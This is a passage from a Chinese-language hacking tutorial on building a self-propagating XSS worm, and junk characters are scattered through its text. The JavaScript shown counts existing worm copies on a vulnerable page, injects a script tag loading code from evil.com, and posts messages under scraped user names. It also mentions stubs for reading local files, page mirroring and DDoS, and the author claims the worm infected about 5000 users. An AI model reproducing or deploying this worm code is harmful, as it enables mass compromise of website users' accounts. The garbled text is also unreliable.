if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件} Y+ W( s& I2 c
2 p. d8 G7 n, e if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}2 k9 C e/ o j0 h% h9 F( p B7 H. e
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
0 W- S! B8 Z& L+ O复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
* T$ |/ n" N9 G0 ^. j3 {/ M复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
; ]7 A& ^( c: k5 m6 ~8 m) h
* r- r6 ?: J7 I9 E4 ~9 PxmlHttpReq.send(null);! \3 P( K! Q4 @( X( a' O( y, R
- i8 E1 W! ?: u4 a) v, k; zvar resource = xmlHttpReq.responseText;, L3 L* B. B2 H) O0 M3 S; {
# o1 v) `2 D3 r1 [
var id=0;var result;% e4 o3 [- w9 r+ f: {2 \
" Q) e2 {3 |7 Avar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.0 H* I7 y! Z5 Z) o0 Z
) A1 Y. z; b! X& c0 s" D1 Swhile ((result = patt.exec(resource)) != null) {7 r2 n7 g9 w! L2 W
+ H0 V- J4 i; ~' U) L/ _; Z2 ]# p* kid++;
0 f( Z5 t/ h8 S1 o# W. n/ O9 L! A# ]. ~& z8 J
}
7 B( x; ?( s+ q: Y复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
& ?' b# W( I: u6 a9 ~- C
+ Y2 R$ D6 U' gno=resource.search(/my name is/);
# x3 u8 `: q8 \+ F. p8 {' m5 N) z5 P7 p5 R; [9 g h
var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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" m/ b3 x) y3 p( ?var post="wd="+wd;7 }. h8 U2 _; E# |. a, x) K: Q2 d
9 R" O' C l! @6 ^& U& x4 P5 d# _xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.$ W2 r, _3 n4 E% J
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");- D- Z' L( B, e$ z
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xmlHttpReq.setRequestHeader("content-length",post.length);
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# U& ^3 Z8 B, SxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");% `. C) w; J" R, s
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xmlHttpReq.send(post);
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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6 Y$ m8 ]! I. jvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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( E# G! B# M7 z5 s$ ]# rvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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9 j; R9 m5 n! e( B8 i4 b$ hvar post="wd="+wd;
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);2 c6 U& g% V. D% X6 |
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length);
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" U- i* Z9 b! S9 pxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");, U0 C2 z1 f$ |" P, ~. [$ g1 E- u; C
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xmlHttpReq.send(post); //把传播的信息 POST出去." r0 ]2 J1 g# O5 p1 W& d
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------& d, O$ \ I7 x5 C, T% K# i) I( F
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
7 K& @7 C( C" x$ k. r" T蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
, U& p$ {8 C! {- A4 A" B6 T9 r操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.- R6 `" J% i" F p4 k) V
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本文引用文档资料:% ?; Q% N7 }) Y4 x0 @6 c1 |$ [7 h
' a2 ?* L/ x7 Q1 S. r"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)( c% \; p* [; t3 v& o! O
Other XmlHttpRequest tricks (Amit Klein, January 2003)* u+ s5 h$ v! w. c& y
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
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